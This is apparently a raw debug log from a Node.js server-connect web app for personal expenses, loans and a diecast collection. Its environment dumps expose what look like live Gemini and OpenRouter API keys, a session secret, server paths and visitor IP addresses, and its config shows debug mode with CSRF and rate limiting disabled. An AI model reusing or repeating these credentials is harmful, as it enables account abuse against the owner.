    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
    'accept-language': 'en-US,en;q=0.9',
    'sec-ch-ua': '"Google Chrome";v="137", "Not/A)Brand";v="8", "Chromium";v="137"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '170.62.100.240',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-23T13:30:19.576Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '170.62.100.240',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="137", "Not/A)Brand";v="8", "Chromium";v="137"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '170.62.100.240',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-22T13:38:32.047Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-22T13:38:32.307Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-22T13:38:32.427Z server-connect:setup:upload Upload middleware configured.
2026-07-22T13:38:32.427Z server-connect:secure CSRF Protection initialized
2026-07-22T13:38:32.430Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-22T13:38:32.431Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-22T13:38:32.432Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-22T13:38:32.432Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-22T13:38:32.433Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-22T13:38:32.434Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-22T13:38:32.437Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-22T13:38:32.438Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-22T13:38:32.439Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-22T13:38:32.440Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-22T13:38:32.443Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-22T13:38:32.444Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-22T13:38:32.445Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-22T13:38:32.445Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-22T13:38:32.446Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-22T13:38:32.446Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-22T13:38:32.447Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-22T13:38:32.447Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-22T13:38:32.448Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-22T13:38:32.449Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-22T13:38:32.476Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-22T13:38:32.477Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-22T13:38:32.478Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-22T13:38:32.478Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-22T13:38:32.478Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-22T13:38:32.479Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-22T13:38:32.479Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-22T13:38:32.480Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-22T13:38:32.480Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-22T13:38:32.480Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-22T13:38:32.480Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-22T13:38:32.481Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-22T13:38:32.481Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-22T13:38:32.481Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-22T13:38:32.482Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-22T13:38:32.482Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-22T13:38:32.482Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-22T13:38:32.483Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-22T14:31:48.500Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-22T14:31:48.700Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-22T14:31:48.787Z server-connect:setup:upload Upload middleware configured.
2026-07-22T14:31:48.787Z server-connect:secure CSRF Protection initialized
2026-07-22T14:31:48.789Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-22T14:31:48.790Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-22T14:31:48.790Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-22T14:31:48.791Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-22T14:31:48.791Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-22T14:31:48.792Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-22T14:31:48.794Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-22T14:31:48.795Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-22T14:31:48.796Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-22T14:31:48.796Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-22T14:31:48.796Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-22T14:31:48.797Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-22T14:31:48.797Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-22T14:31:48.798Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-22T14:31:48.801Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-22T14:31:48.801Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-22T14:31:48.802Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-22T14:31:48.802Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-22T14:31:48.802Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-22T14:31:48.803Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-22T14:31:48.803Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-22T14:31:48.804Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-22T14:31:48.804Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-22T14:31:48.804Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-22T14:31:48.804Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-22T14:31:48.805Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-22T14:31:48.805Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-22T14:31:48.805Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-22T14:31:48.805Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-22T14:31:48.806Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-22T14:31:48.806Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-22T14:31:48.806Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-22T14:31:48.806Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-22T14:31:48.806Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-22T14:31:48.807Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-22T14:31:48.807Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-22T14:31:48.807Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-22T14:31:48.807Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-22T17:25:28.108Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-22T17:25:30.316Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-22T17:25:31.180Z server-connect:setup:upload Upload middleware configured.
2026-07-22T17:25:31.180Z server-connect:secure CSRF Protection initialized
2026-07-22T17:25:31.186Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-22T17:25:31.186Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-22T17:25:31.189Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-22T17:25:31.190Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-22T17:25:31.197Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-22T17:25:31.201Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-22T17:25:31.217Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-22T17:25:31.229Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-22T17:25:31.234Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-22T17:25:31.235Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-22T17:25:31.235Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-22T17:25:31.240Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-22T17:25:31.245Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-22T17:25:31.258Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-22T17:25:31.261Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-22T17:25:31.333Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-22T17:25:31.335Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-22T17:25:31.339Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-22T17:25:31.345Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-22T17:25:31.350Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-22T17:25:31.351Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-22T17:25:31.359Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-22T17:25:31.361Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-22T17:25:31.367Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-22T17:25:31.367Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-22T17:25:31.372Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-22T17:25:31.374Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-22T17:25:31.376Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-22T17:25:31.382Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-22T17:25:31.385Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-22T17:25:31.385Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-22T17:25:31.388Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-22T17:25:31.391Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-22T17:25:31.395Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-22T17:25:31.400Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-22T17:25:31.404Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-22T17:25:31.405Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-22T17:25:31.416Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-22T19:16:36.675Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-22T19:16:38.945Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-22T19:16:39.809Z server-connect:setup:upload Upload middleware configured.
2026-07-22T19:16:39.809Z server-connect:secure CSRF Protection initialized
2026-07-22T19:16:39.813Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-22T19:16:39.814Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-22T19:16:39.817Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-22T19:16:39.820Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-22T19:16:39.827Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-22T19:16:39.831Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-22T19:16:39.846Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-22T19:16:39.858Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-22T19:16:39.864Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-22T19:16:39.864Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-22T19:16:39.865Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-22T19:16:39.869Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-22T19:16:39.875Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-22T19:16:39.884Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-22T19:16:39.889Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-22T19:16:39.961Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-22T19:16:39.962Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-22T19:16:39.968Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-22T19:16:39.972Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-22T19:16:39.977Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-22T19:16:39.978Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-22T19:16:39.985Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-22T19:16:39.988Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-22T19:16:39.995Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-22T19:16:39.996Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-22T19:16:40.000Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-22T19:16:40.002Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-22T19:16:40.004Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-22T19:16:40.010Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-22T19:16:40.012Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-22T19:16:40.014Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-22T19:16:40.016Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-22T19:16:40.020Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-22T19:16:40.020Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-22T19:16:40.028Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-22T19:16:40.031Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-22T19:16:40.033Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-22T19:16:40.044Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T02:56:15.431Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T02:56:17.704Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T02:56:18.568Z server-connect:setup:upload Upload middleware configured.
2026-07-23T02:56:18.569Z server-connect:secure CSRF Protection initialized
2026-07-23T02:56:18.573Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T02:56:18.574Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T02:56:18.577Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T02:56:18.578Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T02:56:18.585Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T02:56:18.589Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T02:56:18.604Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T02:56:18.619Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T02:56:18.619Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T02:56:18.621Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T02:56:18.624Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T02:56:18.627Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T02:56:18.633Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T02:56:18.643Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T02:56:18.647Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T02:56:18.720Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T02:56:18.721Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T02:56:18.725Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T02:56:18.731Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T02:56:18.735Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T02:56:18.737Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T02:56:18.745Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T02:56:18.747Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T02:56:18.753Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T02:56:18.755Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T02:56:18.759Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T02:56:18.759Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T02:56:18.762Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T02:56:18.767Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T02:56:18.770Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T02:56:18.773Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T02:56:18.773Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T02:56:18.781Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T02:56:18.781Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T02:56:18.788Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T02:56:18.792Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T02:56:18.794Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T02:56:18.803Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T02:56:19.295Z server-connect:router Serving templateView /
2026-07-23T02:56:19.338Z server-connect:app Executing action step identify
2026-07-23T02:56:19.338Z server-connect:app options: { provider: 'security' }
2026-07-23T02:56:19.349Z server-connect:auth No login cookie found
2026-07-23T02:56:19.349Z server-connect:output identity: false
2026-07-23T02:56:19.349Z server-connect:app Executing action step restrict
2026-07-23T02:56:19.349Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-23T02:56:19.353Z server-connect:output restrict: undefined
2026-07-23T02:56:51.563Z server-connect:router Serving templateView /login
2026-07-23T02:56:51.564Z server-connect:app Executing action step identify
2026-07-23T02:56:51.564Z server-connect:app options: { provider: 'security' }
2026-07-23T02:56:51.564Z server-connect:auth No login cookie found
2026-07-23T02:56:51.564Z server-connect:output identity: false
2026-07-23T02:56:51.565Z server-connect:router Render template layouts/authentication
2026-07-23T02:56:51.566Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    'accept-encoding': 'gzip',
    accept: '*/*',
    'x-forwarded-for': '94.154.43.185',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-24T02:56:51.561Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '94.154.43.185',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
